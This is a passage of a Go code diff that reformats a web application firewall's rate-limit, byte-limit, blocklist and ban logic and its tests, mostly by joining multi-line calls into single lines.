 	settings := map[string]string{trustedProxies: trustLocalhost}
 	maps.Copy(settings, env)
 
-	addr, out, server := startProxyWithClock(
+	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
-		t,
-		app.URL,
-		geojsURL,
-		clk.Now,
-		settings,
-	)
 
-	return &sender{
+	return &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}, clk, server
-		t:       t,
-		addr:    addr,
-		wafAddr: server.Addr,
-		out:     out,
-	}, clk, server
 }
 
 // sender sends requests to rproxy one after another, each on a connection of its
@@ -514,11 +437,7 @@ func (s *sender) get(from string, status int, action string) logLine {
 // X-Forwarded-For names it, and checks that its answer and its log line
 // have status, 0 for the connection closed without an answer, and that
 // the line has action. It returns the log line.
-func (s *sender) request(
+func (s *sender) request(from, path string, status int, action string) logLine {
-	from, path string,
-	status int,
-	action string,
-) logLine {
 	s.t.Helper()
 
 	return s.requestWithHeader(from, path, "", status, action)
@@ -531,15 +450,7 @@ func (s *sender) requestWithHeader(
 ) logLine {
 	s.t.Helper()
 
-	line, _ := s.requestWithBody(
+	line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
-		http.MethodGet,
-		from,
-		path,
-		header,
-		"",
-		status,
-		action,
-	)
 
 	return line
 }

internal/waf/biased.go

@@ -22,10 +22,8 @@ type percentage struct {
 // below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
 // then needed before its request goes on.
 func biasedThresholdsSet(cfg *config.Config) bool {
-	return len(cfg.ASNBytesPercent) > 0 ||
+	return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
-		len(cfg.CountryBytesPercent) > 0 ||
+		cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
-		cfg.UnknownLimitPercent < whole ||
-		cfg.ASNLimitPercentURL != ""
 }
 
 // limitPercentages returns the client's limit percentages, for the rate
@@ -50,10 +48,7 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 
 	unknown := percentage{percent: whole}
 	if country == "" && !rq.skippedLookupWait {
-		unknown = percentage{
+		unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
-			cfg.UnknownLimitPercent,
-			"SWW_UNKNOWN_LIMIT_PERCENT",
-		}
 	}
 
 	fetched := percentage{percent: whole}
@@ -63,41 +58,24 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 
 	blocklisted := percentage{percent: whole}
 	if rq.blocklisted && cfg.BlocklistAction == "limit" {
-		blocklisted = percentage{
+		blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
-			cfg.BlocklistLimitPercent,
-			"SWW_BLOCKLIST_ACTION",
-		}
 	}
 
 	reputationListed := percentage{percent: whole}
-	if (rq.dnsblListed || rq.abuseIPDBHit) &&
+	if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
-		cfg.ReputationAction == "limit" {
+		reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
-		reputationListed = percentage{
-			cfg.ReputationLimitPercent,
-			"SWW_REPUTATION_ACTION",
-		}
 	}
 
 	const tagSetting = "SWW_TAG_LIMIT_PERCENT"
 
-	asnRequests := lowest(
+	asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
-		given(cfg.TagLimitPercent, asnTag(asn), tagSetting),
+	countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
-		fetched,
-	)
-	countryRequests := given(
-		cfg.TagLimitPercent,
-		countryTag(country),
-		tagSetting,
-	)
 
 	otherTags := percentage{percent: whole}
 
 	for _, tag := range rq.line.Tags {
 		if tag != asnTag(asn) && tag != countryTag(country) {
-			otherTags = lowest(
+			otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
-				otherTags,
-				given(cfg.TagLimitPercent, tag, tagSetting),
-			)
 		}
 	}
 
@@ -107,18 +85,12 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 	}
 
 	if _, listed := cfg.CountryBytesPercent[country]; listed {
-		countryBytes = given(
+		countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
-			cfg.CountryBytesPercent,
-			country,
-			"SWW_COUNTRY_BYTES_PERCENT",
-		)
 	}
 
-	// The limits that lower requests and bytes alike.
+	return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
-	common := lowest(otherTags, unknown, blocklisted, reputationListed)
+			reputationListed),
-
+		lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
-	return lowest(asnRequests, countryRequests, common),
-		lowest(asnBytes, countryBytes, common)
 }
 
 // given returns the percentage percents, the setting named setting, gives

internal/waf/biased_test.go

@@ -86,11 +86,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
 
 			// fromKP, which no setting lists, has the whole limit.
 			for range 3 {
-				line := s.get(
+				line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
-					fromKP,
-					http.StatusOK,
-					requestlog.ActionForward,
-				)
 				wantPercent(t, "rate_limit_percent",
 					line.RateLimitPercent, line.RateLimitPercentSetting,
 					none)
@@ -122,11 +118,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
 			// The upload's 100 bytes are over half of 199, 99.
 			line := s.uploadFrom(tc.from)
 			if line.LimitHit != minuteBytes {
-				t.Errorf(
+				t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
-					"log line has limit_hit %q, want %s",
-					line.LimitHit,
-					minuteBytes,
-				)
 			}
 
 			wantPercent(t, "bytes_limit_percent",
@@ -136,11 +128,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
 			// fromKP, which no setting lists, has the whole limit.
 			line = s.uploadFrom(fromKP)
 			if line.LimitHit != "" {
-				t.Errorf(
+				t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
-					"log line for %s has limit_hit %q, want none",
-					fromKP,
-					line.LimitHit,
-				)
 			}
 
 			wantPercent(t, "bytes_limit_percent",
@@ -149,9 +137,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
 	}
 }
 
-func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
+func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -192,11 +178,7 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
 			// The upload's 100 bytes are over 99, half of 199, and within 199.
 			line := s.uploadFrom(fromDE)
 			if line.LimitHit != tc.limitHit {
-				t.Errorf(
+				t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
-					"log line has limit_hit %q, want %q",
-					line.LimitHit,
-					tc.limitHit,
-				)
 			}
 
 			wantPercent(t, "rate_limit_percent",
@@ -212,26 +194,16 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
 func TestZeroPercentIsAZeroAllowance(t *testing.T) {
 	t.Parallel()
 
-	s, _, _ := startWithLookups(
+	s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"})
-		t,
-		map[string]string{unknownLimitPercent: "0"},
-	)
 
 	// The first request breaks the limit, and bans the client; the log line
 	// gives the 0.
-	line := s.get(
+	line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-		unplaced,
-		http.StatusForbidden,
-		requestlog.ActionClientIsRateLimited,
-	)
 	if line.fields["rate_limit_percent"] != float64(0) ||
 		line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
-		t.Errorf(
+		t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s",
-			"log line has rate_limit_percent %v from %v, want 0 from %s",
+			line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"],
-			line.fields["rate_limit_percent"],
+			unknownLimitPercent)
-			line.fields["rate_limit_percent_setting"],
-			unknownLimitPercent,
-		)
 	}
 
 	s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -284,11 +256,7 @@ func TestLowestPercentageApplies(t *testing.T) {
 			// A quarter of 4 requests a minute: the second breaks the limit.
 			s.get(tc.from, http.StatusOK, requestlog.ActionForward)
 
-			line := s.get(
+			line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-				tc.from,
-				http.StatusForbidden,
-				requestlog.ActionClientIsRateLimited,
-			)
 			wantPercent(t, "rate_limit_percent",
 				line.RateLimitPercent, line.RateLimitPercentSetting,
 				tc.want)
@@ -296,9 +264,7 @@ func TestLowestPercentageApplies(t *testing.T) {
 	}
 }
 
-func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
+func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	s, _, _ := startWithLookups(t, map[string]string{
@@ -310,11 +276,7 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
 	for _, from := range []string{unplaced, "10.0.0.8"} {
 		s.get(from, http.StatusOK, requestlog.ActionForward)
 		s.get(from, http.StatusOK, requestlog.ActionForward)
-		s.get(
+		s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-			from,
-			http.StatusForbidden,
-			requestlog.ActionClientIsRateLimited,
-		)
 	}
 
 	// One in a country has the whole limit.
@@ -338,12 +300,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
 		serveFromDE(t, server, http.MethodGet, http.NoBody)
 
 		line := out.requestLine(t)
-		wantLine(
+		wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-			t,
-			line,
-			http.StatusForbidden,
-			requestlog.ActionClientIsRateLimited,
-		)
 		wantPercent(t, "rate_limit_percent",
 			line.RateLimitPercent, line.RateLimitPercentSetting,
 			"0 from "+unknownLimitPercent)
@@ -384,12 +341,7 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
 					})
 				began := time.Now()
 
-				serveFromDE(
+				serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
-					t,
-					server,
-					http.MethodPost,
-					strings.NewReader("ab"),
-				)
 
 				want := time.Duration(0)
 				if tc.waits {
@@ -397,19 +349,10 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
 				}
 
 				if waited := time.Since(began); waited != want {
-					t.Errorf(
+					t.Errorf("the request waited %s for its answer, want %s", waited, want)
-						"the request waited %s for its answer, want %s",
-						waited,
-						want,
-					)
 				}
 
-				wantLine(
+				wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
-					t,
-					out.requestLine(t),
-					http.StatusOK,
-					requestlog.ActionForward,
-				)
 
 				// The bubble's clock stops once this function returns, so the
 				// request to GeoJS, which a request that did not wait leaves
@@ -420,9 +363,7 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
 	}
 }
 
-func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
+func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -464,8 +405,8 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
 				s.uploadFrom(fromDE)
 			}
 
-			s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader,
+			s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
-				uploadBody, tc.status, tc.action)
+				tc.status, tc.action)
 
 			held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
 			if len(held) != 1 {
@@ -474,11 +415,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
 
 			notes := held[0].Notes
 			if held[0].Reason != tc.reason {
-				t.Errorf(
+				t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
-					"the ban's reason is %q, want %q",
-					held[0].Reason,
-					tc.reason,
-				)
 			}
 
 			wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
@@ -486,21 +423,12 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
 
 			waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
 			if len(waiting) != 1 {
-				t.Fatalf(
+				t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
-					"%d alerts wait, want the ban's alone: %+v",
-					len(waiting),
-					waiting,
-				)
 			}
 
 			alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
-			wantPercent(
+			wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
-				t,
+				alerted.LimitPercentSetting, tc.want)
-				"the alert's notes' limit_percent",
-				alerted.LimitPercent,
-				alerted.LimitPercentSetting,
-				tc.want,
-			)
 		})
 	}
 }
@@ -534,10 +462,7 @@ func startWithLookupsAndClock(
 		noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
 	})
 
-	settings := map[string]string{
+	settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
-		lookupSource: fileSource,
-		lookupDBPath: path,
-	}
 	maps.Copy(settings, env)
 
 	return startAppWithAlerts(t, readAndAnswer, settings)
@@ -547,15 +472,8 @@ func startWithLookupsAndClock(
 func (s *sender) uploadFrom(from string) logLine {
 	s.t.Helper()
 
-	line, _ := s.requestWithBody(
+	line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
-		http.MethodPost,
+		http.StatusOK, requestlog.ActionForward)
-		from,
-		"/",
-		uploadHeader,
-		uploadBody,
-		http.StatusOK,
-		requestlog.ActionForward,
-	)
 
 	return line
 }
@@ -578,12 +496,7 @@ func serveFromDE(
 // wantPercent checks a limit percentage that a log line or a ban's notes
 // give, what, and the setting that gave it, against want, as percentText
 // gives them.
-func wantPercent(
+func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
-	t *testing.T,
-	what string,
-	percent *int64,
-	setting, want string,
-) {
 	t.Helper()
 
 	if got := percentText(percent, setting); got != want {

internal/waf/blocklists.go

@@ -18,11 +18,7 @@ type blocklists struct{}
 
 func (blocklists) name() string { return "blocklists" }
 
-func (blocklists) check(
+func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
-	_ context.Context,
-	rq *request,
-	_ time.Time,
-) *verdict {
 	listedBy := rq.h.lists.ListedBy(rq.client)
 	rq.blocklisted = len(listedBy) > 0
 	rq.noteListed(listedBy, "listed by a blocklist")

internal/waf/bytelimits.go

@@ -20,21 +20,13 @@ type byteLimits struct{}
 
 func (byteLimits) name() string { return "byte_limits" }
 
-func (byteLimits) check(
+func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
-	_ context.Context,
-	rq *request,
-	now time.Time,
-) *verdict {
 	if !rq.counted || rq.line.WouldAction != "" {
 		return nil
 	}
 
-	counts, hit, over := rq.h.limiter.CountBytes(
+	counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
-		rq.h.clientGroup(rq.client),
+		rq.countedBytes(), rq.bytesLimitPercent.percent)
-		now,
-		rq.countedBytes(),
-		rq.bytesLimitPercent.percent,
-	)
 	rq.line.Counts.MinuteBytes = counts.MinuteBytes
 	rq.line.Counts.HourBytes = counts.HourBytes
 	rq.line.Counts.DayBytes = counts.DayBytes

internal/waf/bytelimits_test.go

@@ -67,11 +67,8 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
 			// 70 bytes are within the limit of 99.
 			line, _ := s.download()
 			if line.LimitHit != "" || line.Offence != "" {
-				t.Errorf(
+				t.Errorf("log line has limit_hit %q and offence %q, want neither",
-					"log line has limit_hit %q and offence %q, want neither",
+					line.LimitHit, line.Offence)
-					line.LimitHit,
-					line.Offence,
-				)
 			}
 
 			// 140 bytes are over it. The response is passed on whole, and
@@ -82,35 +79,18 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
 			line, got := s.download()
 			if got.err != nil || len(got.body) != answerBytes ||
 				line.ResponseBytes != answerBytes {
-				t.Errorf(
+				t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
-					"got %d bytes (%v), and the log line has response_bytes %d, "+
+					"want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
-						"want %d",
-					len(got.body),
-					got.err,
-					line.ResponseBytes,
-					answerBytes,
-				)
 			}
 
-			if line.LimitHit != tc.window+"_bytes" ||
+			if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
-				line.Offence != requestlog.OffenceLimit ||
 				line.BanExpires != expires {
-				t.Errorf(
+				t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
-					"log line has limit_hit %q, offence %q and ban_expires %q, "+
+					"want %s_bytes, limit and %s", line.LimitHit, line.Offence,
-						"want %s_bytes, limit and %s",
+					line.BanExpires, tc.window, expires)
-					line.LimitHit,
-					line.Offence,
-					line.BanExpires,
-					tc.window,
-					expires,
-				)
 			}
 
-			s.get(
+			s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-				client,
-				http.StatusForbidden,
-				requestlog.ActionTemporarilyBanned,
-			)
 
 			wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
 				`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
@@ -121,10 +101,7 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
 func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
 	t.Parallel()
 
-	s, _ := startWithAnswers(
+	s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit})
-		t,
-		map[string]string{bytesLimitPerMinute: byteLimit},
-	)
 
 	line, _ := s.download()
 	wantAfterAnswerHeuristic(t, line, "", "null")
@@ -143,16 +120,9 @@ func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
 
 	// The answer's 70 bytes are over the limit of 50 on their own.
 	line, got := s.download()
-	if got.err != nil || len(got.body) != answerBytes ||
+	if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
-		line.LimitHit != minuteBytes {
+		t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
-		t.Errorf(
+			len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
-			"got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
-			len(got.body),
-			got.err,
-			line.LimitHit,
-			answerBytes,
-			minuteBytes,
-		)
 	}
 
 	s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -168,27 +138,13 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
 
 	// The 70 bytes passed on before the app broke off are over the limit of
 	// 50, and ban the client for an hour.
-	line, got := s.requestWithBody(
+	line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
-		http.MethodGet,
+		requestlog.ActionForward)
-		client,
-		"/",
-		"",
-		"",
-		http.StatusOK,
-		requestlog.ActionForward,
-	)
 	if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
 		line.BanExpires != expires {
-		t.Errorf(
+		t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
-			"got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
+			"want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
-				"want %d, %s and %s",
+			answerBytes, minuteBytes, expires)
-			len(got.body),
-			line.LimitHit,
-			line.BanExpires,
-			answerBytes,
-			minuteBytes,
-			expires,
-		)
 	}
 
 	s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -208,33 +164,19 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
 		t.Run(tc.setting, func(t *testing.T) {
 			t.Parallel()
 
-			s, _, _, _ := startAppWithAlerts(
+			s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
-				t,
+				bytesLimitPerMinute: "29", bytesCount: tc.setting,
-				answerAfterUpgrade,
+			})
-				map[string]string{
-					bytesLimitPerMinute: "29", bytesCount: tc.setting,
-				},
-			)
 
 			// The client sends 30 bytes and the app 70, each over the limit
 			// of 29, which bans the client once the WebSocket has closed.
 			line := s.webSocket()
-			if line.LimitHit != minuteBytes ||
+			if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
-				line.Counts.MinuteBytes != tc.counted {
+				t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
-				t.Errorf(
+					line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
-					"log line has limit_hit %q and minute_bytes %v, want %s and %v",
-					line.LimitHit,
-					line.Counts.MinuteBytes,
-					minuteBytes,
-					tc.counted,
-				)
 			}
 
-			s.get(
+			s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-				client,
-				http.StatusForbidden,
-				requestlog.ActionTemporarilyBanned,
-			)
 		})
 	}
 }
@@ -269,25 +211,14 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
 				}
 
 				counted := float64(i) * tc.each
-				if line.LimitHit != want ||
+				if line.LimitHit != want || line.Counts.MinuteBytes != counted {
-					line.Counts.MinuteBytes != counted {
+					t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
-					t.Errorf(
+						"want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
-						"request %d: log line has limit_hit %q and minute_bytes %v, "+
+						want, counted)
-							"want %q and %v",
-						i,
-						line.LimitHit,
-						line.Counts.MinuteBytes,
-						want,
-						counted,
-					)
 				}
 			}
 
-			s.get(
+			s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-				client,
-				http.StatusForbidden,
-				requestlog.ActionTemporarilyBanned,
-			)
 		})
 	}
 }
@@ -312,24 +243,11 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
 		{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
 	} {
 		for range 2 {
-			line, _ := s.requestWithBody(
+			line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
-				http.MethodPost,
+				uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
-				sent.from,
+			if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
-				sent.path,
+				t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
-				uploadHeader,
+					sent.from, sent.path, line.fields["counts"], line.LimitHit)
-				uploadBody,
-				http.StatusOK,
-				requestlog.ActionForward,
-			)
-			if _, counted := line.fields["counts"]; counted ||
-				line.LimitHit != "" {
-				t.Errorf(
-					"%s %s: log line has counts %v and limit_hit %q, want neither",
-					sent.from,
-					sent.path,
-					line.fields["counts"],
-					line.LimitHit,
-				)
 			}
 		}
 	}
@@ -337,11 +255,7 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
 	// A path that is not exempt is counted, and breaks the limit.
 	line := s.upload()
 	if line.LimitHit != minuteBytes {
-		t.Errorf(
+		t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
-			"log line has limit_hit %q, want %s",
-			line.LimitHit,
-			minuteBytes,
-		)
 	}
 }
 
@@ -358,14 +272,9 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
 		counted := float64(i * (bodyBytes + answerBytes))
 		if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
 			line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
-			t.Errorf(
+			t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
-				"request %d: log line has limit_hit %q and counts %+v, "+
+				"want none and %v bytes in each window", i, line.LimitHit,
-					"want none and %v bytes in each window",
+				line.Counts, counted)
-				i,
-				line.LimitHit,
-				line.Counts,
-				counted,
-			)
 		}
 	}
 }
@@ -373,24 +282,13 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
 func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
 	t.Parallel()
 
-	s, clk, server, queue := startAppWithAlerts(
+	s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
-		t,
+		bytesLimitPerMinute: byteLimit,
-		readAndAnswer,
+	})
-		map[string]string{
-			bytesLimitPerMinute: byteLimit,
-		},
-	)
 	start := clk.Now()
 
-	s.requestWithBody(
+	s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
-		http.MethodPost,
+		uploadBody, http.StatusOK, requestlog.ActionForward)
-		client,
-		"/upload?part=1",
-		uploadHeader,
-		uploadBody,
-		http.StatusOK,
-		requestlog.ActionForward,
-	)
 
 	netblock := netip.MustParsePrefix(client + "/32")
 	want := bans.Ban{
@@ -433,14 +331,10 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
 func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
 	t.Parallel()
 
-	s, clk, server, queue := startAppWithAlerts(
+	s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
-		t,
+		mode:                observe,
-		readAndAnswer,
+		bytesLimitPerMinute: byteLimit,
-		map[string]string{
+	})
-			mode:                observe,
-			bytesLimitPerMinute: byteLimit,
-		},
-	)
 	start := clk.Now()
 
 	// No ban sets the client's counters back to zero, so each request
@@ -450,17 +344,11 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
 		line := s.upload()
 		wantWouldAction(t, line, "")
 
-		if line.LimitHit != minuteBytes ||
+		if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
-			line.Offence != requestlog.OffenceLimit ||
 			line.BanExpires != "" {
-			t.Errorf(
+			t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
-				"log line has limit_hit %q, offence %q and ban_expires %q, "+
+				"want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
-					"want %s, limit and none",
+				minuteBytes)
-				line.LimitHit,
-				line.Offence,
-				line.BanExpires,
-				minuteBytes,
-			)
 		}
 	}
 
@@ -475,18 +363,14 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
 
 	notes, _ := waiting[0].Detail["notes"].(bans.Notes)
 	alert := banAlert(alerts.EventBan, start, client, bans.Ban{
-		Netblock: netip.MustParsePrefix(
+		Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
-			client + "/32",
-		), Cause: bans.CauseLimit,
 		Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
 	}, requestlog.FormatTime(start.Add(time.Hour)))
 	alert.Detail["mode"] = observe
 	wantAlerts(t, queue, alert)
 }
 
-func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(
+func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	s, _ := startWithAnswers(t, map[string]string{
@@ -504,14 +388,9 @@ func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(
 	line := s.upload()
 	wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
 
-	if line.LimitHit != minute ||
+	if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
-		line.Counts.MinuteBytes != bodyBytes+answerBytes {
+		t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
-		t.Errorf(
+			line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
-			"log line has limit_hit %q and minute_bytes %v, want minute and %d",
-			line.LimitHit,
-			line.Counts.MinuteBytes,
-			bodyBytes+answerBytes,
-		)
 	}
 }
 
@@ -561,9 +440,7 @@ func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
 			return
 		}
 
-		_, _ = buffered.WriteString(
+		_, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
-			strings.Repeat("a", answerBytes-1) + "\n",
-		)
 		_ = buffered.Flush()
 	}
 }
@@ -593,12 +470,8 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
 	s.t.Helper()
 
 	conn := dial(s.t, s.addr)
-	send(
+	send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
-		s.t,
+		": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
-		conn,
-		"GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
-			": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n",
-	)
 
 	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
 	if err != nil {
@@ -615,11 +488,7 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
 	_ = res.Body.Close()
 
 	if res.StatusCode != http.StatusSwitchingProtocols {
-		s.t.Fatalf(
+		s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
-			"status %d, want %d",
-			res.StatusCode,
-			http.StatusSwitchingProtocols,
-		)
 	}
 
 	return conn, reader
@@ -634,22 +503,14 @@ func (s *sender) closeWebSocket(conn net.Conn) logLine {
 
 	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
 	s.sent++
-	wantLine(
+	wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
-		s.t,
-		line,
-		http.StatusSwitchingProtocols,
-		requestlog.ActionForward,
-	)
 
 	return line
 }
 
 // startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
 // test that looks at neither the server nor the alerts.
-func startWithAnswers(
